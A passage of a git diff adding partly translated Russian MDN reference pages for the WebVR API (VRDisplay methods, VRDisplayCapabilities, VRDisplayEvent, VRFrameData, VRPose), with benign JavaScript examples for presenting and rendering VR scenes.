+ <dd>Returns the layers currently being presented by the <code>VRDisplay</code>.</dd>
+ <dt>{{domxref("VRDisplay.resetPose()")}}</dt>
+ <dd>Resets the pose for this <code>VRDisplay</code>, treating its current {{domxref("VRPose.position")}} and {{domxref("VRPose.orientation")}} as the "origin/zero" values.</dd>
+ <dt>{{domxref("VRDisplay.cancelAnimationFrame()")}}</dt>
+ <dd>A special implementation of {{domxref("Window.cancelAnimationFrame")}} that allows callbacks registered with {{domxref("VRDisplay.requestAnimationFrame()")}} to be unregistered.</dd>
+ <dt>{{domxref("VRDisplay.requestAnimationFrame()")}}</dt>
+ <dd>A special implementation of {{domxref("Window.requestAnimationFrame")}} containing a callback function that will be called every time a new frame of the <code>VRDisplay</code> presentation is rendered.</dd>
+ <dt>{{domxref("VRDisplay.requestPresent()")}}</dt>
+ <dd>Starts the <code>VRDisplay</code> presenting a scene.</dd>
+ <dt>{{domxref("VRDisplay.exitPresent()")}}</dt>
+ <dd>Stops the <code>VRDisplay</code> presenting a scene.</dd>
+ <dt>{{domxref("VRDisplay.submitFrame()")}}</dt>
+ <dd>Captures the current state of the {{domxref("VRLayer")}} currently being presented and displays it on the <code>VRDisplay</code>.</dd>
+</dl>
+
+<h3 id="Deprecated_methods">Deprecated methods</h3>
+
+<dl>
+ <dt>{{domxref("VRDisplay.getPose()")}} {{deprecated_inline}}</dt>
+ <dd>Returns a {{domxref("VRPose")}} object defining the future predicted pose of the <code>VRDisplay</code> as it will be when the current frame is actually presented. <strong>This method is deprecated — instead, you should use {{domxref("VRDisplay.getFrameData()")}}, which also provides a {{domxref("VRPose")}} object.</strong></dd>
+</dl>
+
+<h3 id="Obsolete_methods">Obsolete methods</h3>
+
+<dl>
+ <dt>{{domxref("VRDisplay.getImmediatePose()")}} {{obsolete_inline}}</dt>
+ <dd>Returns a {{domxref("VRPose")}} object defining the current pose of the <code>VRDisplay</code>, with no prediction applied. This is no longer needed, and has been removed from the spec.</dd>
+ <dt>{{domxref("VRDisplay.hardwareUnitId")}} {{obsolete_inline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} defining the shared ID of the display, and any other devices that are part of that hardware set (e.g. controllers). This is no longer needed, and has been removed from the spec. Displays now use {{domxref("VRDisplay.displayId")}}, and corresponsing controllers will now return the same ID under {{domxref("Gamepad.displayId")}}.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">if(navigator.getVRDisplays) {
+  console.log('WebVR 1.1 supported');
+  // Then get the displays attached to the computer
+  navigator.getVRDisplays().then(function(displays) {
+    // If a display is available, use it to present the scene
+    if(displays.length &gt; 0) {
+      vrDisplay = displays[0];
+      // Now we have our VRDisplay object and can do what we want with it
+    }
+  });
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can see this complete code at <a href="https://github.com/mdn/webvr-tests/blob/master/raw-webgl-example/webgl-demo.js">raw-webgl-example</a>.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#interface-vrdisplay', 'VRDisplay')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRDisplay")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrdisplay/requestanimationframe/index.html b/files/ru/web/api/vrdisplay/requestanimationframe/index.html
new file mode 100644
index 0000000000..51d83bcea3
--- /dev/null
+++ b/files/ru/web/api/vrdisplay/requestanimationframe/index.html
@@ -0,0 +1,122 @@
+---
+title: VRDisplay.requestAnimationFrame()
+slug: Web/API/VRDisplay/requestAnimationFrame
+translation_of: Web/API/VRDisplay/requestAnimationFrame
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Метод <code><strong>requestAnimationFrame()</strong></code> интерфейса {{domxref("VRDisplay")}} является специфичной реализацией метода {{domxref("Window.requestAnimationFrame")}} и принимает в качестве аргумента функцию обратного вызова (callback-функция). Эта функция будет вызвана, когда объект типа <code>VRDisplay</code> будет готов отобразить новый кадр сцены:</p>
+
+<ul>
+ <li>Если в этот момент объект типа <code>VRDisplay</code> не находится в процессе отображения сцены, то вызов этой функции эквивалентен вызову {{domxref("Window.requestAnimationFrame")}}.</li>
+ <li>Если объект типа <code>VRDisplay</code> находится в состоянии отображения сцены, вызов callback-функции происходит с собственной частотой обновления устройства, представленного этим объектом.</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var handle = vrDisplayInstance.requestAnimationFrame(<em>callback</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>callback</dt>
+ <dd>callback-функция, которая будет вызвана когда объект типа <code>VRDisplay</code> будет готов отобразить новый кадр сцены.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>A long representing the handle of the <code>requestAnimationFrame()</code> call. This can then be passed to a {{domxref("VRDisplay.cancelAnimationFrame()")}} call to unregister the callback.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var frameData = new VRFrameData();
+var vrDisplay;
+
+navigator.getVRDisplays().then(function(displays) {
+  vrDisplay = displays[0];
+  console.log('Display found');
+  // Starting the presentation when the button is clicked: It can only be called in response to a user gesture
+  btn.addEventListener('click', function() {
+    vrDisplay.requestPresent([{ source: canvas }]).then(function() {
+      drawVRScene();
+    });
+  });
+});
+
+// WebVR: Draw the scene for the WebVR display.
+function drawVRScene() {
+  // WebVR: Request the next frame of the animation
+  vrSceneFrame = vrDisplay.requestAnimationFrame(drawVRScene);
+
+  // Populate frameData with the data of the next frame to display
+  vrDisplay.getFrameData(frameData);
+
+  // You can get the position, orientation, etc. of the display from the current frame's pose
+  var curFramePose = frameData.pose;
+  var curPos = curFramePose.position;
+  var curOrient = curFramePose.orientation;
+
+  // Clear the canvas before we start drawing on it.
+
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+
+  // WebVR: Create the required projection and view matrix locations needed
+  // for passing into the uniformMatrix4fv methods below
+
+  var projectionMatrixLocation = gl.getUniformLocation(shaderProgram, "projMatrix");
+  var viewMatrixLocation = gl.getUniformLocation(shaderProgram, "viewMatrix");
+
+  // WebVR: Render the left eye’s view to the left half of the canvas
+  gl.viewport(0, 0, canvas.width * 0.5, canvas.height);
+  gl.uniformMatrix4fv(projectionMatrixLocation, false, frameData.leftProjectionMatrix);
+  gl.uniformMatrix4fv(viewMatrixLocation, false, frameData.leftViewMatrix);
+  drawGeometry();
+
+  // WebVR: Render the right eye’s view to the right half of the canvas
+  gl.viewport(canvas.width * 0.5, 0, canvas.width * 0.5, canvas.height);
+  gl.uniformMatrix4fv(projectionMatrixLocation, false, frameData.rightProjectionMatrix);
+  gl.uniformMatrix4fv(viewMatrixLocation, false, frameData.rightViewMatrix);
+  drawGeometry();
+
+  function drawGeometry() {
+    // draw the view for each eye
+  }
+
+    ...
+
+  // WebVR: Indicate that we are ready to present the rendered frame to the VR display
+  vrDisplay.submitFrame();
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can see this complete code at <a href="https://github.com/mdn/webvr-tests/blob/master/raw-webgl-example/webgl-demo.js">raw-webgl-example</a>.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-vrdisplay-requestanimationframe', 'requestAnimationFrame()')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRDisplay.requestAnimationFrame")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrdisplay/requestpresent/index.html b/files/ru/web/api/vrdisplay/requestpresent/index.html
new file mode 100644
index 0000000000..9537b94035
--- /dev/null
+++ b/files/ru/web/api/vrdisplay/requestpresent/index.html
@@ -0,0 +1,112 @@
+---
+title: VRDisplay.requestPresent()
+slug: Web/API/VRDisplay/requestPresent
+translation_of: Web/API/VRDisplay/requestPresent
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Метод <code><strong>requestPresent()</strong></code> объекта реализующего интерфейс {{domxref("VRDisplay")}} отвечает за начало отображения сцены на VR устройстве, которое представлено этим объектом.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">vrDisplayInstance.requestPresent(<em>layers</em>).then(function() {
+  //Действия после начала отображения сцены
+});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>layers</dt>
+ <dd>Массив объектов типа {{domxref("VRLayerInit")}}, представляющих собой сцену, которую Вы хотите отобразить. На данный момент может быть минимум 0 элементов, максимум - 1.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Объект типа <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a>, переходящий в состояние "выполнено" в момент начала отображения сцены. Существует ряд правил, касающийся перехода Promise в состояние "выполнено" и в состояние "отклонено":</p>
+
+<div>
+<ul>
+ <li>Если {{domxref("VRDisplayCapabilities.canPresent")}} ложно или если массив объектов VRLayer содержит более чем {{domxref("VRDisplayCapabilities.maxLayers")}} слоев, произойдёт переход в состояние "отклонено".</li>
+ <li>Если объект {{domxref("VRDisplay")}} уже отображает сцену, то вызов его метода <code>requestPresent()</code> обновит массив отображаемых <code>VRLayer</code> объектов.</li>
+ <li>Если объект <code>VRDisplay</code> уже отображает сцену, а вызов метода <code>requestPresent()</code> приведет к возврату Promise в состоянии "отклонено", то отображение сцены прекратится.</li>
+ <li>If <code>requestPresent()</code> is called outside of an engagement gesture the promise will be rejected unless the <code>VRDisplay</code> was already presenting. This engagement gesture is also sufficient to allow <code><a href="/en-US/docs/Web/API/Element/requestPointerLock">requestPointerLock()</a></code> calls until presentation has ended.</li>
+</ul>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">if(navigator.getVRDisplays) {
+  console.log('WebVR 1.1 supported');
+  // Then get the displays attached to the computer
+  navigator.getVRDisplays().then(function(displays) {
+    // If a display is available, use it to present the scene
+    if(displays.length &gt; 0) {
+      vrDisplay = displays[0];
+      console.log('Display found');
+      // Starting the presentation when the button is clicked: It can only be called in response to a user gesture
+      btn.addEventListener('click', function() {
+        if(btn.textContent === 'Start VR display') {
+          vrDisplay.requestPresent([{ source: canvas }]).then(function() {
+            console.log('Presenting to WebVR display');
+
+            // Set the canvas size to the size of the vrDisplay viewport
+
+            var leftEye = vrDisplay.getEyeParameters('left');
+            var rightEye = vrDisplay.getEyeParameters('right');
+
+            canvas.width = Math.max(leftEye.renderWidth, rightEye.renderWidth) * 2;
+            canvas.height = Math.max(leftEye.renderHeight, rightEye.renderHeight);
+
+            // stop the normal presentation, and start the vr presentation
+            window.cancelAnimationFrame(normalSceneFrame);
+            drawVRScene();
+
+            btn.textContent = 'Exit VR display';
+          });
+        } else {
+          vrDisplay.exitPresent();
+          console.log('Stopped presenting to WebVR display');
+
+          btn.textContent = 'Start VR display';
+
+          // Stop the VR presentation, and start the normal presentation
+          vrDisplay.cancelAnimationFrame(vrSceneFrame);
+          drawScene();
+        }
+      });
+    }
+  });
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can see this complete code at <a href="https://github.com/mdn/webvr-tests/blob/master/raw-webgl-example/webgl-demo.js">raw-webgl-example</a>.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-vrdisplay-requestpresent', 'requestPresent()')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRDisplay.requestPresent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrdisplaycapabilities/hasposition/index.html b/files/ru/web/api/vrdisplaycapabilities/hasposition/index.html
new file mode 100644
index 0000000000..7de0300c2f
--- /dev/null
+++ b/files/ru/web/api/vrdisplaycapabilities/hasposition/index.html
@@ -0,0 +1,50 @@
+---
+title: VRDisplayCapabilities.hasPosition
+slug: Web/API/VRDisplayCapabilities/hasPosition
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRDisplayCapabilities/hasPosition
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>The <strong><code>hasPosition</code></strong> read-only property of the {{domxref("VRDisplayCapabilities")}} interface returns a {{domxref("Boolean")}} stating whether the VR display can track and return position information.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var hasItGotPosition = vrDisplayCapabilitiesInstance.<code>hasPosition</code>;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>A {{domxref("Boolean")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>{{page("/Web/API/VRDisplayCapabilities", "Examples")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-vrdisplaycapabilities-hasposition', 'hasPosition')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRDisplayCapabilities.hasPosition")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a>.</li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrdisplaycapabilities/index.html b/files/ru/web/api/vrdisplaycapabilities/index.html
new file mode 100644
index 0000000000..0bc9f13cdf
--- /dev/null
+++ b/files/ru/web/api/vrdisplaycapabilities/index.html
@@ -0,0 +1,76 @@
+---
+title: VRDisplayCapabilities
+slug: Web/API/VRDisplayCapabilities
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRDisplayCapabilities
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Интерфейс <strong>VRDisplayCapabilities</strong> WebVR API описывает возможности {{domxref ("VRDisplay")}} - его функции можно использовать для тестирования возможностей устройства Виртуальной Реальности (VR), например, он может возвращать информацию о местоположении.</p>
+
+<p>Данный интерфейс доступен в свойстве {{domxref ("VRDisplay.capabilities")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("VRDisplayCapabilities.canPresent")}} {{readonlyInline}}</dt>
+ <dd>Возвращает параметр {{domxref ("Boolean")}}, указывающий, способен ли дисплей VR представлять контент (например, через HMD - Наголовный дисплей).</dd>
+ <dt>{{domxref("VRDisplayCapabilities.hasExternalDisplay")}} {{readonlyInline}}</dt>
+ <dd>Возвращает параметр {{domxref ("Boolean")}}, указывающий, является ли дисплей VR отдельным от основного дисплея устройства.</dd>
+ <dt>{{domxref("VRDisplayCapabilities.hasOrientation")}} {{deprecated_inline()}} {{readonlyInline}}</dt>
+ <dd>Возвращает параметр {{domxref ("Boolean")}}, указывающий, может ли дисплей VR отслеживать и возвращать информацию об ориентации в пространстве .</dd>
+ <dt>{{domxref("VRDisplayCapabilities.hasPosition")}} {{readonlyInline}}</dt>
+ <dd>Возвращает параметр {{domxref ("Boolean")}}, указывающий, может ли дисплей VR отслеживать и возвращать информацию о положении.</dd>
+ <dt>{{domxref("VRDisplayCapabilities.maxLayers")}} {{readonlyInline}}</dt>
+ <dd>Возвращает число, указывающее максимальное значение {{domxref ("VRLayer")}}, которое дисплей VR может представить одновременно (например, максимальную длину массива, который {{domxref ("VRDisplay.requestPresent ()")}} может принять.)</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">function reportDisplays() {
+  navigator.getVRDisplays().then(function(displays) {
+    for(var i = 0; i &lt; displays.length; i++) {
+      var cap = displays[i].capabilities;
+      // cap is a VRDisplayCapabilities object
+      var listItem = document.createElement('li');
+      listItem.innerHTML = '&lt;strong&gt;Display ' + (i+1) + '&lt;/strong&gt;'
+                   + '&lt;br&gt;VR Display ID: ' + displays[i].displayId
+                   + '&lt;br&gt;VR Display Name: ' + displays[i].displayName
+                   + '&lt;br&gt;Display can present content: ' + cap.canPresent
+                   + '&lt;br&gt;Display is separate from the computer\'s main display: ' + cap.hasExternalDisplay
+                   + '&lt;br&gt;Display can return position info: ' + cap.hasPosition
+                   + '&lt;br&gt;Display can return orientation info: ' + cap.hasOrientation
+                   + '&lt;br&gt;Display max layers: ' + cap.maxLayers;
+      list.appendChild(listItem);
+    }
+  });
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#interface-vrdisplaycapabilities', 'VRDisplayCapabilities')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Режим_совместимости_браузера">Режим совместимости браузера</h2>
+
+<p>{{Compat("api.VRDisplayCapabilities")}}</p>
+
+<h2 id="Дополнительно">Дополнительно</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демонстрационные, материалы для загрузки и другие ресурсы команды Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrdisplayevent/display/index.html b/files/ru/web/api/vrdisplayevent/display/index.html
new file mode 100644
index 0000000000..318bd97188
--- /dev/null
+++ b/files/ru/web/api/vrdisplayevent/display/index.html
@@ -0,0 +1,49 @@
+---
+title: VRDisplayEvent.display
+slug: Web/API/VRDisplayEvent/display
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRDisplayEvent/display
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}<br>
+ Cвойство  <strong><code>display</code></strong>только для чтения интерфейса {{domxref ("VRDisplayEvent")}} возвращает параметр {{domxref ("VRDisplay")}}, связанный с этим событием.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var myDisplay = vrDisplayEventInstance.display;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>A {{domxref("VRDisplay")}} object.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>{{page("/Web/API/VRDisplayEvent", "Examples")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-vrdisplayeventinit-display', 'display')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<p>{{Compat("api.VRDisplayEvent.display")}}</p>
+
+<h2 id="Дополнительно">Дополнительно</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демонстрационные материалы,материалы для загрузки и другие ресурсы команды Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrdisplayevent/index.html b/files/ru/web/api/vrdisplayevent/index.html
new file mode 100644
index 0000000000..8b8c2bee90
--- /dev/null
+++ b/files/ru/web/api/vrdisplayevent/index.html
@@ -0,0 +1,63 @@
+---
+title: VRDisplayEvent
+slug: Web/API/VRDisplayEvent
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRDisplayEvent
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Интерфейс VRDisplayEvent API WebVR представляет объект  событий, связанных с WebVR (Подробнее - см. Список расширений окна WebVR)</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("VRDisplayEvent.VRDisplayEvent()")}}</dt>
+ <dd>Создает экземпляр объекта VRDisplayEvent.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em><code>VRDisplayEvent</code> также наследует свойства от своего родительского объекта, {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("VRDisplayEvent.display")}} {{readonlyInline}}</dt>
+ <dd> {{domxref("VRDisplay")}} связанный с этим событием.</dd>
+ <dt>{{domxref("VRDisplayEvent.reason")}} {{readonlyInline}}</dt>
+ <dd>Определяемая человеческим фактором причина, по которой произошло событие.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">window.addEventListener('vrdisplaypresentchange', function(e) {
+  console.log('Display ' + e.display.displayId + ' presentation has changed. Reason given: ' + e.reason + '.');
+})
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#interface-vrdisplayevent', 'VRDisplayEvent')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRDisplayEvent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демонстрации, загружаемые материалы и другие ресурсы команды the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrframedata/index.html b/files/ru/web/api/vrframedata/index.html
new file mode 100644
index 0000000000..5fe9d79079
--- /dev/null
+++ b/files/ru/web/api/vrframedata/index.html
@@ -0,0 +1,66 @@
+---
+title: VRFrameData
+slug: Web/API/VRFrameData
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRFrameData
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Интерфейс VRFrameData API WebVR представляет всю информацию, необходимую для визуализации одного кадра сцены Виртуальной реальности; сконструирован с помощью {{domxref ("VRDisplay.getFrameData ()")}}.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("VRFrameData.VRFrameData()")}}</dt>
+ <dd>Создает экземпляр объекта VRFrameData.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("VRFrameData.leftProjectionMatrix")}} {{readonlyInline}}</dt>
+ <dd>Параметр {{Domxref ("Float32Array")}}, представляющий матрицу 4x4, которая описывает проекцию, которая будет использоваться для рендеринга левого глаза.</dd>
+ <dt>{{domxref("VRFrameData.leftViewMatrix")}} {{readonlyInline}}</dt>
+ <dd>Параметр {{Domxref ("Float32Array")}}, представляющий матрицу 4x4, которая описывает преобразование вида, которое будет использоваться для визуализации для левого глаза.</dd>
+ <dt>{{domxref("VRFrameData.pose")}} {{readonlyInline}}</dt>
+ <dd>Параметр {{Domxref ("VRPose")}} {{domxref ("VRDisplay")}} в текущем {{domxref ("VRFrameData.timestamp")}}.</dd>
+ <dt>{{domxref("VRFrameData.rightProjectionMatrix")}} {{readonlyInline}}</dt>
+ <dd>Параметр {{Domxref ("Float32Array")}}, представляющий матрицу 4x4, которая описывает проекцию, которая будет использоваться для рендеринга для правого глаза.</dd>
+ <dt>{{domxref("VRFrameData.rightViewMatrix")}} {{readonlyInline}}</dt>
+ <dd>{{Domxref ("Float32Array")}}, представляющий матрицу 4x4, которая описывает преобразование вида, которое будет использоваться для визуализации для правого глаза.</dd>
+ <dt>{{domxref("VRFrameData.timestamp")}} {{readonlyInline}}</dt>
+ <dd>Постоянно увеличивающееся значение отметки времени, представляющее время, когда произошло обновление кадра.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>{{page("/Web/API/VRDisplay/getFrameData", "Examples")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#interface-vrdisplayevent', 'VRDisplayEvent')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<p>{{Compat("api.VRFrameData")}}</p>
+
+<h2 id="Дополнительно">Дополнительно</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демонстрационные материалы, материалы доступные для загрузки и другие ресурсы команды Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrpose/index.html b/files/ru/web/api/vrpose/index.html
new file mode 100644
index 0000000000..8e09aaf928
--- /dev/null
+++ b/files/ru/web/api/vrpose/index.html
@@ -0,0 +1,77 @@
+---
+title: VRPose
+slug: Web/API/VRPose
+tags:
+  - API
+  - Experimental
+  - Landing
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - VR
+  - VRPose
+  - Virtual Reality
+  - WebVR
+translation_of: Web/API/VRPose
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>The <strong><code>VRPose</code></strong> interface of the <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a> represents the state of a VR sensor at a given timestamp (which includes orientation, position, velocity, and acceleration information.)</p>
+
+<p>This interface is accessible through the {{domxref("VRDisplay.getPose()")}} and {{domxref("VRDisplay.getFrameData()")}} methods. {{domxref("VRDisplay.getPose()")}} is deprecated.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("VRPose.position")}} {{readonlyInline}}</dt>
+ <dd>Returns the position of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}} as a 3D vector</dd>
+ <dt>{{domxref("VRPose.linearVelocity")}} {{readonlyInline}}</dt>
+ <dd>Returns the linear velocity of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in meters per second.</dd>
+ <dt>{{domxref("VRPose.linearAcceleration")}} {{readonlyInline}}</dt>
+ <dd>Returns the linear acceleration of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in meters per second per second.</dd>
+ <dt>{{domxref("VRPose.orientation")}} {{readonlyInline}}</dt>
+ <dd>Returns the orientation of the sensor at the current {{domxref("VRPose.timestamp")}}, as a quarternion value.</dd>
+ <dt>{{domxref("VRPose.angularVelocity")}} {{readonlyInline}}</dt>
+ <dd>Returns the angular velocity of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in radians per second.</dd>
+ <dt>{{domxref("VRPose.angularAcceleration")}} {{readonlyInline}}</dt>
+ <dd>Returns the angular acceleration of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in meters per second per second.</dd>
+</dl>
+
+<h3 id="Obsolete_properties">Obsolete properties</h3>
+
+<dl>
+ <dt>{{domxref("VRPose.timeStamp")}} {{readonlyInline}} {{obsolete_inline}}</dt>
+ <dd>Returns the current time stamp of the system — a monotonically increasing value useful for determining if position data has been updated, and what order updates have occured in. <strong>This version of <code>timestamp</code> has been removed from the spec — instead, timestamps are now returned when {{domxref("VRDisplay.getFrameData()")}} is called — see {{domxref("VRFrameData.timestamp")}}.</strong></dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>{{page("/Web/API/VRDisplay/getFrameData", "Examples")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
